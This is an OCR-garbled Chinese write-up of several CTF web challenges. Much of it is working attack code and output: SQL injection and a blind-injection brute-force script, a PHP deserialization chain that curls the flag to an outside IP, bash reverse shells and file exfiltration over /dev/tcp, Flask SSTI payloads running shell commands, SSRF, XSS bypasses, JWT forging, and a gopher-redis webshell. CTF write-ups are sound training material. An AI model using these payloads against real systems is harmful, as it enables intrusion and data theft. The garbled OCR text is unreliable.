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<html>

<{body>

<hl>there is no flag here<{/hl>
{!— SYC{hav3 fUn_In dark} —>
</body>

</html>

Welcome2021


http://c6h35nlkeoew5vzcpsacsidbip2ezotsnj6sywn7znkdtrbsqkexa7yd.onion/

HE IR

<html>
<head>
{(title>Welcome2021</title>

{meta http—equiv="Content-Type” content="text/html; charset=utf-8" />

{/head>
<{body>
<hl>Welcome 7 A#kKE 2021</hl>

<p> BTG, A2 7 RF RN S A htnl Aht tpI AT, WhtmlIFARS A, html iR 775, htmDIRERY, 06 R 3%, ROREE < p>

/body>
</html>
<= I VELCOME S 3K Ty 72 Ae it st g 57 ——>

4 I EAE FHWELCOME T 3K 75 217 1)

| Haw I Headers lHex |

| Raw I Headers I Hex lH ML I Hender I

WELCOME 74ePppyset——

Host: 1.14.102.22:8011

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

LTS

15 191111aaaggg9.php

brvsd HiE S T R g =8
£ 1.14.102.22:8011

f1111aaagggd.php document plain 215

O 14mR CEBOFH/21FD s 18T

5 %flag
babysql

R RsqEN, B MsqmapBPal, e DABRETEAN

1' union select 1,2,3,4#

HTTP/1.1 200 OK

Date: Sat, 23 Oct 2021 15:37:39 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34

Vary: Accept-Encoding

Content-Length: 442

Connection: close

Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Welcome2021 < /title>

<meta http-equiv="Content-Type" content="text/html;

charset=utf-8" />

</head>

<b0dy>

<h1>Welcome HREAHE 2021</h1>

<p> BB ALK $A T EMITREAhtmIFIh ttpHHER htmIRHEE

B, htmliER7E htmIikSE, IRRLF, REF ST </p>

</body>
</html>

ENIN Cookie iR WARL RS

elcome Flag: SYC{Welcom3 t0 Geek 202111

X-Powered-By: PHP/7.2.34
- BRL (398 )
Accept: text/html,applicati xhtml+xm,

9i

Accept-Encoding: gzip, deflate

=)

TR
‘webp,*/*,q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW:q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Fanaction: bame ~tn



@ 47.100.242.70:4339

your uname:1 and your pwd:2

RIENFR1,2
BRI E

-1" union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4#

© 47.100.242.70:4339

your uname:1 and your
pwd:information_schema,performance_schema,test,mysql flag,ba

bysql

ROH I FEflag, MAEBM—TR

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='flag'),3,
4#

@ 47.100.242.70:4339

your uname:1 and your pwd:fllag

[ | A eiF 47.100.242.70:4339 BREEET

B E|Ffag, MAE—T5

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='flag' a
nd table_name='fllag'),3,4#



© 47.100.242.70:4339

your uname:1 and your pwd:fllllllag,wlz

[ ] FRALIF 47.100.242.70:4339 BRMAEIRT

5 A B ;

-1" union select 1,(select group_concat(fllllllag,wlz) from flag.fllag),3,4#

© 47.100.242.70:4339

your uname:1 and your
pwd:SYC{U_4NOwv_Sql Noyv~}wlz_de girlfriend is_longlone(bush
i)

BE
|
anothersql
K I [E] B AR
© 47.100.242.70:4003
your uname:admin adn your pwd:123456
=

REARHA/REE, ST :

mid, substr FPAfleftErightgaid
< > H=
if Mcase whenZiit

RIEE WA, B2flag



import requests
import string

url = "http://47.100.242.70:4003/check.php"

flag = "'
string= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIIKLMNOPQRSTUVWXYZ_,@{}"
for x in range(1l, 100):

for 1 in string:

#true

#payload = "1' or case when (left((database()),%d)="%s"') then 1 else © end#" % (x, flag + 1)

#syclover

#payload = "1' or case when (left((select group_concat(table_name) from information_schema.tables where
table_schema=database()),%d)="%s"') then 1 else 0 end#" % (x, flag + 1)

#1d, uname, pwd, flag

#payload = "1' or case when (left((select group_concat(column_name) from information_schema.columns wher

e table_name='syclover'),%d)="%s"') then 1 else 0 end#" % (x, flag + 1)
payload = "1' or case when (left((select flag from syclover),%d)="%s') then 1 else @ end#" % (x, flag +
i)

data = {'uname':payload,

'pwd':'123456",

'wp-submit': ' &'

}

#print(payload)

response = requests.post(url, data=data)

if b'your uname:admin adn your pwd:123456' in response.content:
flag += i
print(flag)
break



anothersql.py X

(1, 100):

i in string:

@ end#" % (x, flag + i)

min adn your : i response.content:
flag += 1
print(flag)

{u_4n@vv_3rrér_inj
{u_4n@vv_3rrér_inj3
-{u_4n@wv_3rror_inj3c
{u_4n@vv 3rrér_inj3cid
-{u_4n@vv_3rrér_inj3
{u_4nBwv 3rrér_inj3c
syc{u_4n@vv_3rrér_inj3c4len

babyPOP

TH B pop®E, %A HSRIERD



<?php

class a {
public static $Do u_like JiaRan = false;
public static $Do u_like AFKL = false;

¥
class b {
private $i_want_2_listen_2_MaoZhongDu;
public function _ toString()
{
if (a::$Do_u_like AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noo00000000000000000000000000 ! LTI TLIT™Y
}
}
}
class c {
public function __ wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_ AFKL = true;
return "SEEZER," . $this->value;
}
}
class e {
public function _ destruct()
{
if (a::$Do_u_like JiaRan) {
($this->afkl)();
} else {
throw new Error("Nooo0000000000000000000000000 ! I TTTETEEEETET™) .
}
}
}

if (isset($ GET['data'])) {
unserialize(base64 _decode($ GET['data']));
} else {
highlight file(__ FILE_ );

KRG AR EbKexec, MAMTEREA __tostring() >TERE —NMFERFH, FFHKI, K __invoke >FEFHAHE
BRI HRNBH—DMNGR, BKe, HWABTER Do_u_like AFKL 2% Atrue->1f FJc
EMNEcE|ReM I BEHFEEHE, BRMNTEAEN—NEERTER, REHBXNTEIX RGN Le




<?php

class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like AFKL = false;

}
class b {
private $i want 2 listen_ 2 MaoZhongDu = 'curl 110.42.134.160:6666/ cat /flag|base64 ';
public function __ toString()
{
if (a::$Do_u_like AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("No000000000000000000000000000! T ITTIEEIELTET")
}
}
}
class c {
public $%a;
public function _ construct()
{
$this->a = new e();
}
public function _ wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function _ invoke()
{
a::$Do_u_like AFKL = true;
return "SEHEZER," . $this->value;
}
}
class e {
public function _ destruct()
{
if (a::$Do_u_like_ JiaRan) {
($this->afkl)();
} else {
throw new Error("No000000000000000000000000000! T ETTEEEEELTEE") .
}
}
}

$n = new c();

$n->a->aftkl = new d();
$n->a->aftkl->value = new b();
$m = serialize($n);
var_dump($m);
echo(base64_encode($m));



.php

:1:"b":1:{s:31:"\000b\0O0i_want_2_listen aoZhongDu";s:43:"cur
sdWUi0086MToiYiI6MTp7 1T € TbGlzdG

HTexecB A EIE, NAFEMRGIEIA:, FTERAERdnsloghhifi a4 T -

curl 110.42.134.160:6666/ cat |

intu:~% nc -lvnp
)1.0.8] (famil

#4918 2lflag

where_is_my FUMO

AT X E: Linux R¥ishell (=) Ri#ishellf) 45
AT IR

function chijou_kega_no_junnka

=[5 R [ e e e
return str_replace

if (isset 'DATA'
= 'DATA'
= chijou_kega_no_junnka 'ADDR'
= chijou_kega_no_junnka 'PORT"
exec("bash -c \"bash -i < /dev/tcp/ / \""
else

highlight_file(_ FILE__


https://xz.aliyun.com/t/2549

—IrRERGEE, TR, JERMK T HAL RKIW LLE E X2 JF R #shell, JEksbT

Q. 1.14.102.22:8115/?DATA[ADDR]=110.42.134.160&DATA[PORT]=1234

£-.. (9 meEessE (- oo B bmth CSDN - W FfESET... \Q B2IFm666 - EERE

SRIGISIT S O, R¥Eshell

ubuntu@VM-@-4-ubuntu:~% nc -lvnp 1234
Listening on [0.0.0.08] (family 0, port 1234)
Connection from 1.14.182.22 35352 re =

bash -i =& /dev/tcp/110.42.134

I

bash -i /dev/tcp/110.42.134.160/2333



ubuntu@VM-0-4-ubuntu:~% nc -lvnp :

Listening on [0.0.0.0] (family @, port 2333

Connection from 1.14.102.22 37190 r ive

bash: cannot set terminal process group (1

bash: no job control in this shell
www-data@c05e6T3F719d: /var/www/html$ 1s
1s

index.php

www-data@c05e6T31719d: /var/www/html$ cd /
cd /

www-data@cf5e6T3t719d: /% 1s

1s

bin

boot

dev

etc

flag.png

home

lib

1ib64

media

mnt

opt

praoc

root

run

sbin

5rv

sSys

tmp

usr

var

www-data@c05e6F3f719d:/$ [|

: Inappropriate ioctl for device

&5 & T #iflag.png Bl iR 5 88, XEMBEXEPHART

cat flag.png > /dev/tcp/110.42.134.160/6666



SR 5 WS T o 1 % B S0, ne -1vnp 6666 > flag.png

ubuntu@VM-0-4-ubuntu:~% nc -lvnp 6666 = flag.png
Listening on [0.0.0.0] (family @, port 6666)

)

ubuntu@vM-0-4-ubuntu:~% D

B 3Fflag

Two baka are looking at each other

And she tall you flag is SYC{Baka~Baka~Baka~}

HEEFEIRISE 2R Rrobots.txt



< - O @ O 8 47.100.242.70:4659/robots.txt

Dzt Octf P EEaE ST - .. () ks (°- oo .. B bmth [# csDN -

User-agent: *
Disallow: fnoobcurl.phﬂ

EESEALE

<?php

function ssrf_me($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl _close($ch);
echo $output;

}

if(isset($_GET['url'])){
ssrf_me($_GET['url']);

¥
else{
highlight_file(__ FILE_ );
echo "<!-- BHRAE—FHHEE, flagfEBEZR -->";
¥

BB f)ssrf, B4 file:///flag

« > C W O 8 47.100.242.70:4659/noobcurl.php?url=file:///flag

Dz Octf Py E23EMETFE-... () BEmE (°- 9>0 ... B bmth [#] CSDN - SUFEHEL.. \Q EDEE66

SYC{U 4NOwv Ss4f 3owv~}

babyPy

&R Rflask ssti, #FE 4 H payload

# X AFEER

{% for ¢ in [].__class__ ._base_ ._ subclasses_ () %}{% if c.__name__=='catch_warnings"' %}{{ c.__init_ ._ global
s_ ['__builtins__ "J.open('/flag','r').read() }}{% endif %}{% endfor %}

#irSHAT

{% for ¢ in [].__class__._base__._ subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{ c.__init__ ._ global

s__['__builtins__ "J.eval("__import__ ('os"').popen('cat /flag').read()") }}{% endif %}{% endfor %}



<« - C @ O 8 1.14.102.22:8124/try

Oz Dof P EL25EHEFE-.. () teFedE (- oo .. B bmth [ ce

SYC{The SsTi 1s_V3ry funNy!)

B VR B
KATELHENLSYH, HHEHs

/*
* R
* @params fFELHIjsonF
* @secret EHFE
*/
function makeSign(params, secret){
var ksort = Object.keys(params).sort();
var str = '';
for(var ki in ksort){
str += ksort[ki] + '=' + params[ksort[ki]] + '&";

}

str += 'secret=' + secret;
var token = hex_md5(str).toUpperCase();
return rsa_sign(token);

/*
* rsafii#token
*/
function rsa_sign(token){
var pubkey='----- BEGIN PUBLIC KEY----- o
pubkey+="MIGfMAOGCSqGSIb3DQEBAQUAAAGNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL" ;
pubkey+="'nRg3e2QdDf/m/gMvtgXidxhwvbpHfaX46CzQznU819NJItF28pTSZSKnE/791MIfV" ;
pubkey+="nucVcIcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn’ ;
pubkey+="1VjDalczKTRx+7vn2wIDAQAB" ;
pubkey+="----- END PUBLIC KEY----- "8
1/ FIH A58
var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubkey);
return encrypt.encrypt(token);

/*
* K
*/
function get_time(){
var d = new Date();
var time = d.getTime()/1000;
return parseInt(time);

//secret Z#
var secret = 'el@adc3949ba59abbe56e057f20f883e";



$("[href="#"]").click(function(){

var params = {};
console.log(123);

params.id = $(this).attr("id");
params.timestamp = get time();
params.fake_flag= 'SYC{lingze find_a_girlfriend}"';
params.sign = makeSign(params, secret);
$.ajax({
url : "http://106.55.154.252:8083/sign.php",
data : params,
type: 'post’,
success:function(msg){
$("#text').html(msg);
alert(msg);
¥

async:false

})8

1}

HEH a4 — N NORI BT, JRAEH &84T R AT

var flag = {};

flag.id = 9;

flag.timestamp = get time();

flag.fake_flag= 'SYC{lingze_find_a_girlfriend}"';
flag.sign = makeSign(flag, secret);

$.ajax({
url : "http://106.55.154.252:8083/sign.php",
data : flag,
type: 'post’,

success:function(msg){
$("#text').html(msg);
alert(msg);

s

async:false

1)



@ 106.55.154.252:8083

SYC{N1_A1_WO_Ya_WO_LOVE_Nil}

¥y DEEs Qe DEdg NRE (etsEs Ous Jnr B eR o BESHE 8 WEEF @ HackBar ) Max HacKBar
v imssm

<aﬁ;nymous> debugger e;al code:5
[FH T RE]

B bvar flag = {};
flag.id = 9;
flag.timestamp = get_time();
flag.fake_flag= "SYC{lingze find_a_girlfriend}’;
flag.sign = makeSign(flag, secret);..

B » uncaught ReferenceError: params is not defined
<anonymous> debugger eval code:8

RE=INg- 3|

HIHER

EEBYXFFLA5.23.95255, XE#HHE —-INMTHE

IP X-Forwarded-For Header O -
This extension allows you quickly to set the X-Forwarded-For HTTP Header

HEES i ] R

This extension allows you to quickly update the X-Forwarded-For HTTP header for
various testing purposes.

To set an IP address, click the IP icon or go to the add-on options and enter your IP
address. Once set, all requests will then have the X-Forwarded-For header until you
either clear the IP or set it to an empty string.

N AR=FTIL2k=1 oA OF Ox%
B E T O it O AT

EIeVF, ¥ Bl ESFANSS PSR EE).  1F RR
=5 Philip Lawrence
TS 0.6.2

PIRESH 2021E1819H
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(LD DDt L] LT+ O LT LD [+ DI D [+ P DT+ L+ LT ]+ L)+ D]+ DD DCDI DO DI+ DD L0 T D DT I+ DD DD D+ 4+ DD+ L D1 T 1+ L DT+ DD D L1+ LT+ (R DT+ D) [+ DT 1+ CHEL]+D
(IO TIHID IR OO O D [+ D+ LTI+ LI+ DD D LT+ LTI U LT+ DD [+ LT 1 (U T T+ DD D D1 [ L T+ CH LTI D [+ D1 D [+ D1+ [H DT T+ (DT DI 1+ LD [+ 141 1T+
LI+ [+0I 1+ COI DO LT+ LD (+D I+ (DN LTI+ DICEI DD [+ D1+ [+ DI T+ DD+ LD DR+ L] T+ DT 1+ CH LI+ LD L+ DD I+ (P LT+ DD DE+ DT+ b L1+ B [T ]+ CH LT+ DD T+ P+ DT T T+ LD DR L]+ 1+ [ 1L ]4(
CUIHID D1 T+ I D LTI+ LTI L L1+ D]+ P [T O LD DD [ P+ L1 D [+ DT+ [+ LTI ]+ CH LT LD [+ LTI D [+ D1+ T+ DT T 1 (U LT+ DD [+ DT 1 (DT D DD [+ 1+ [T T+ T
LI LI+ ID DI+ LI+ DI LI D [+ 1+ L DN T+ C LT+ DD D D1+ D T+ CH LT DD T+ D T+ CH LT+ DD D [T [T [T 1+ (OO LT+ DD [+ LTI+ DD D DT+ [ T 1+ (LT DO CE T+
#0114 I+ID D T+ 1+ L1+ CH LT+ LD T+ P+ DT D [ 4 D1+ [+ DT T DI DT 1+ D DD [+ D1 T CH L1+ DD DA+ D0 P [T L L1 T CH LT LD [+ D1+ CH LT+ DD T+ 1+ [T+ (DI D DT 1+ 01D [+ 011441
"SYC{Welceme_Rey_k_javi_k}"

ARZEARHK
BT R

O & o+ 106.55.154.252:2019/fail.php B oo I O @ B & O

E AR TR - .. () eEE® (- )oo .. B bmth CSDN - £WFFESEL.. \9 BDEEe6s - BEE [) 225 - 22@lTs F B0ER S Paper (g MEEIFR Seebug ...

e

AR FERAT AR SRR ARAVBENIS, FAEEF20195FAJadmin

TP



LSIFERSIE:)
username: liubo

password: renminyishujia

MMM K S HGERE, RIFERLL TIWT

@ 106.55.154.252:2019

REREER! AEHMadmin

D@EdE NRs (asteEs Qul Orr B &E § TEERE 35 RS @ HackBar @y Max HacKBar g e >
Il Q @ & HIML CSS JS XHR &k E@ @&k ws = [|=mEr ~ohs 3

e =5 B = e Bl ®E% Cookie R WY
.154.252:20... check.php document 529 %15 5 T iisEak 25 B

Content-Type: text/html; charset=UTF-8
Date: Sat, 23 Oct 2021 16:51:59 GMT
JWT: ey)hbGeiOiJlUzl 1 NilsInR5cCl61kpXVC)9.ey)0aW 11ljoiMjAyMSIsIm5hb WUl mYWHIX

@
@

2FkbWIuln0.rclssTrPKaSGolPJZ0RxKIb1h_DDTo@HQIQOVIbj7g

() Keep-Alive: timeout=5, max=100
(2 Server: Apache/2.4.38 (Debian)
(2)  Vary: Accept-Encoding
Y Pteired e MR 427
EEMRE R INHS256 N
MOACR. ALV RTITTVE L I ™EIN L 1rc

eyJhbGci0iJIUZITNiIsInR5cCI6TKpXVCJ9. ey
JBaW11Ij0iMjAyMSIsIm5hbWUi0iJmYWt1X2Fkb G s
WluIn@.rclssTrPKaSGoIPJZORXKIb1h_DDTtxz e

HQIQ6V1bj7/g }

PAYLOAD: DATA

{
“"time": "2821",
"name”: "fake_admin”

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret

) O secret base64 encoded

FEMEFY, MABRHEG, Hcjwt-cracker#E 1T B

yJhbGci101JTUZIINITISINRScCIGTIkpXY



CJ9.eyJ@anleoiMjAyMSIsImEhbWUiDiJmYthxzFkaluinﬂ.rclssTrPKaSGoIPJZﬂRxKIb1h_DD
TtxzHQIQOV1bj7g
Secret 1s "1234"

# 1

BRTH1234, LB FHHE EH Vi1

HEADER:
eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJ9. ey
J0aW11Ij0iMjAx0SIsIm5hbWUi0iJhZG1pbiJ9. e
WINN2vLaV6NMMsfu- Sipb
6-foU0Z8trVIL12RsZ_gGd8Idk }
PAYLOAD:
"time": "2819",
"name”: "admin”
}

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload),

1234

) [ secret base64 encoded

X B R AE A postmanitAT Vi i, AT LALINRIE InIWT k84T V5

eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9.eyJ0aWllIjoiMjAXOSIsIm5hbWUi0iJhZG1lpbiJ9.WInN2vLaV6NMMsfu-6-foU0Z8trVIL12Rs
Z_gGd8Idk



http://106.55.154.252:2019/check.php [2) save

POST v http://106.55.154.252:2019/check.php

Params Authorization Headers (10) Body @ Pre-request Script Tests Settings

u L R L R L) —— I I L

Host @ <calculated when request is sent>

User-Agent @ PostmanRuntime/7.28.4

Accept @ *

Accept-Encoding © gzip, deflate, br

Connection @ keep-alive

I JWT eyJhbGciOiJIUzlTNilsInR5cClEIkpXVCJS.eyl... I

Key Value Description
Body Cookies Headers (7) TestResults @ 2000k 81ms 283B
Pretty Raw Preview Visualize HTML =

1 EEEfEffFFfffffffffffffffffffffiflaggggu9s21347981.php

Vi 18115 Flflag

« > C B O R 106.55.154.252:2019/fFFFFFFFFFEFFFFFFFFFFFFFFflaggggu9821347981.php

Dzt Octf P ELaEmE T - (9 BEsE (- oo .. Bybmth [@CSDN - SUiFesit.. \Q B2E5RE666 - B=E ()

157 T Bl A

)

SYC{X1a0 ChOu_hello Why SO Ser1Qus} ! ! !



babyxss

<script>
function check(input){input = input.replace(/alert/,"'");return '<script>console.log(

</script>

+input+'");</script>';}
RIAGELIEFES alert , 2K FHES, BL2EENERE, THSEIHIT:

</script><script>alalertert(1)</script>
</script><svg/onload=setTimeout('ale'+'rt(1)',0)>
</script><script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

Syclover alert(1) to win baby version

Problem (Z52 inpus| 2ARIIEN)

<script>
function check(input) {input = input.replace(/alert/,"');return '<script>console.log("'+input+'");</script>";}

</script>

Your input

</script><script>alalertert (1)</script>

Server response: 'Syc{W4lcOme t0_the woOrld Of x3s.}"

Console output

Empty. . -

Baby PHP_Black_Magic_Enlightenment

T YR

<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(9);
$temp = $ _GET[ 'password'];
is_numeric($temp)?die("no way"):NULL;
if($temp>9999){

echo file_get contents('./2.php');

echo "How's that possible”;
}
highlight_file(_ FILE_ );
//Art is long, but Llife is short. So I use PHP.
//I think It's So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ Le jiarenmen
?>



RIFIW is_numeric($temp) 1 $temp>9999 , ERtempAREF(HAZKTO999, RIFAEITHLLE
?password=10000a

e

> ¢ @ & view-source:http://tc.rigelx.top:8003/?password=10000a

D= Octf P EEEHEFH-.. () BEmE (- o0 .. B bmth [#] CSDN - SUFFast.. \9 B3Ew66s - B=E [ %

PHP is the best Language <br/>Have vou ever heard about PHP Black Magic<br/><?php

$next chanllege="baby magic. php’ D

// view—source is a good habit

?>How s that possible<code>{span style="color: #000000”>

(span style="color: #0000BB”>&1t:?php

<br /></span>{span style="color: #007700”>echofnbsp;</span>{span style="color: #DD0000”>"PHP&nbsp;
<br />echo&nbsp;</span>{span style="color: #DD0000”>"Haveknbsp;youknbsp;ever&nbsp;heardinbsp;abouté
¢br />{/span><{span style="color: #0000BB”>error reporting</span><span style="color: #007700">(</sp
{br /></span><{span style="color: #0000BB”>$temp&nbsp;</span><{span style="color: #007700">=&nbsp;{/
<br /></span><{span style="color: #0000BB”>is _numeric</span><span style="color: #007700"> ({/span><s
<br />if(</span><span style="color: #0000BB”>$temp</span><span style="color: #007700">&gt;</span><
{br />&nbsp;&nbsp;&nbsp;&nbsp;echofnbsp;{/span>{span style="color: #0000BB">file get contents</spar
{br />&nbsp;:&nbsp:&nbsp;&nhsp;echofnbsp;<{/span><{span style="color: #DD0000”>"How s&nbsp;thaténbsp;r
(br />}&nbsp;

<br /></span>{span style="color: #0000BB”>highlight file</span>{span style="color: #007700">(<{/spa
<br /></span>{span style="color: #FF8000”>//Art&nbsp;is&nbsp;long, &nbsp;but&nbsp;lifeknbsp;isknbsp;
<br />//I&nbsp;think&nbsp;It s&nbsp;Soknbsp;useful&nbsp;that&nbsp;DiaoRen&nbsp;Said;

<br />//why&nbsp;not&nbsp;they&nbsp;usednbsp;their&nbsp;vpsénbsp;!!!

<br />//BBTZ&nbsp:lefnbsp: jiarenmen

<br />

<br /></span><{span style="color: #0000BB">?&gt:</span>

{/span>
(S rnday

8 %)baby_magic.php, #HAT—3%

<?php

error_

$flag=

reporting(9);

getenv('flag');

if (isset($ GET['user']) and isset($ GET['pass']))

{

if ($_GET['user'] == $_GET['pass'])

echo 'no no no no way for you to do so.';

else if (shal($_GET['user']) === shal($_GET['pass']))

die('Glve u the flag'.$flag);

else

}

else

echo 'not right';

echo 'Just glve it a try.';
highlight_file(__FILE_ );

?>



REA Eshal A ST, HEEANSBHABMTTLLT 2user[ ]=1&pass[]=2

&~ C @ O &8 tc.rigelx.top:8003/baby magic.php/?user[]=18pass[]=2
Ot Octf P EEHEERE-.. () kR (- )>0 .. B bmth [@ CSDN - B FLEEH.. 9 B3

G1ve u the flagbaby revenge.php|

baby revenge.php, #ATFT—XKH:

error_reporting(o

=getenv('fllag’
if (isset 'user' and isset 'pass’

if 'user'] == 'pass’
echo 'no no no no way for you to do so.'
else if(is_array ‘user' || is_array 'pass’
die('There is no way you can sneak me, young man!'
else if (shal ‘user’ === shal 'pass’
echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>"
die('Genji:We will see again Hanzo'. L'<br/>!

else
echo 'Wrong!'
else
echo 'Just Glve it a try.'
highlight file(__ FILE__
?>

HuETHAH, MaFTEshatfli T, IEHFAE—RXE: KT SHATMHE—F BB A binaryf A R 2 4L

Puser=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200bj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%20
0%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3
E%OAstream%OA%FF%D8%FF%FE%00%24SHA-1%201s%20dead%21%21%21%21%21%85 /%EC%09%239u%9C9%B1%A1%C6%3CL%97%EL1%FFX%FEX%@1%7
FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%OBE%CAE%D6%88%C7%F8K%8CLY%1F%EQ%2B%3D%F6%14%F8m%B11%09%01%C5kE%C1S%0A%FE
%DF%B7%608%EOrr/%E7%ADr%8F %0EI%0A4%EOF %C20W%OF %E9%DA%13%98%AB%EL . %F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0OF%2A3 . %C3%7F%
AC5%14%E7M%DC%OF %2C%C1%A8t%CD%OCXx0Z%21Vda0%97%89%60k%DO%BF %3 F%98%CD%A8%0AF%29%A1
&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200bj%0OA%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%20
0%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3
E%OAstream%OA%FF%D8%FF%FE%00%24SHA-1%201s%20dead%21%21%21%21%21%85 /%EC%09%239u%9C9%B1%A1%C6%3CL%97%EL1%FF%FE%O1sF
%DC%911%B6%7E%11%8F%02%9A%B6%21%B2V%OF %F 9%CAg%CCAABK%CT%F 8%5B%A8LY%03%0C%2B%3D%E 2%18%F 8m%B3%A9%09%01%D5%DF E%C10%2
6%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BCHEQF%D2%3CW%OF %EB%14%13%98%BBU . %F 5%A0%A8%2B%E31%FE%AA4%807%B8%B5%D7%1F%0E3
. %DF%93%AC5%00%EBM%DC%OD%EC%C1%A8dy%OCx%2Cv%21V%60%DDO%97%91%DOk%DO%AF %3 F%98%CD%AA%BCF%29%B1


https://blog.csdn.net/caiqiiqi/article/details/68953730

« > O @ O & tcrigelx.top:8003/baby revenge.php/?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A% BR ¥

Ozt Daf P E2FHE N2 FE-.. () BEEE (- )on .. B bmth CSDN - S FFEE.. A EB3iFE66 - B2E [ 2% - =280Ts W %20

Hanzo:lt is impossible only the tribe of Shimada can controle the dragon
Genji:We will see again Hanzdhere_s the flag.php

O O=ss Desa DEds NRs ()rtess Qus Orr B 1 SESRs 18 wBEs @ HackBar  § Max HacKBar

Encryption ~ Encoding~ S8QL v XSS~ Other ~

iy Load URL %C6%3CL%97 %E1%FF%FE%01sF%DC%911%B6%7E%11%8F %02%9A%B6%21%B2V%0F %F9%CAQ%CC%A8%C7 %F8%5B%A8LY"
%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%EOF%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%
5@ Spiit URL %EC%C1%A8Bdy%0Cx%2Cv%21V%60%DD0%97 %91 %D0k%D0%AF %3F %98%CD%A4%BCF%29%B1
» Execute

[[] Postdata [] Referer [] User Agent [] Cookies Clear All

B %lhere_s_the flag.php, &JE—*

<?php

$flag=getenv('fl11111111ag');

if(strstr("Longlone",$ GET['id'])) {
echo("no no no!<br>");

exit();
¥
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{

echo "flag: $flag";
}
highlight_file(__FILE_ );
?>



H Furldecode &f#iE—IX, GETES&MEIB—IX, FAMKE Longlone urlgmfl Bk EL AT PAGEE T
21d=%254c%256F%256e%2567%256C%256F%256e%2565

« > O @ O & tcrigelxtop:8003/here s the flag.php/?id=%254c%256%256e%2567%256c%256f%256e%25¢ BR ¥

O=E Df TEEEE S TEE - ... () BEENEE (- °)o0 . [ bmth CSDN - ZFtaEit... 9 BOFEecs - BEE [ Z2x - 2uiflFa Jd T

flag: flag{PHP_1s fulking_awesome} <?php

$flag=getenv( f11111111lag" ) ;

if (strstr(“Longlone”, $ GET[ id 1)) {
echo("no no no!<br>”):

exit();
1
$_ GET[ id’] = urldecode($_GET[ id'1);
if($ GET['id'] === "Longlone”)
{
echo “flag: $flag”;:
1
highlight_file(_FILE_);
)
givemeyourlove
FIFHRA SSRF ITHFAM

ViFRE, HFHEEH T —#H%F123123

<?php
// I hear her LucRy number is 123123
highlight file(__ FILE_ );
$ch = curl_init();
$url=$ GET['url'];
if(preg_match("/~https|dict|file:/is",$url))
{

echo 'NO NO HACKING!!';

die();
¥
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 9);
curl_exec($ch);
curl close($ch);
?>


https://www.sqlsec.com/2021/05/ssrf.html

BHRrredis, BAHEERssTHredisT, HTHFEEN, {#Hgopher-redis-auth

E:\ctf\;Z & \Redis\gopher-redis-auth-master>python2 gophper-redis-auth.py

Ready To get SHELL

PHPShell

Give web root location of server (default dis /war/www/html):
Give PHP Payload (We have default PHP Shell):

Give your redis auth password (default is. None): 123123
default shell: <?php system($_GET['cmd']); 2>

Your gopher link is Ready to get PHP Shell:

/2&3%BD%BA5et%BDQGA92H199D%GA110D9GA%2H3H%0D%BA%GA%BA%3C%3thp%2ﬁsystem 628%21 GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%

BA%2AU%OD%0A%2U6%0D%0ACconfig%0D%0A%2U3%0D%0ASetEOD%OA%2U3%0D%OAdIi rs0D%0A%2413%0D%0A/var/www/html%0D%0A%2AU%OD%OA%2U6%0D%0

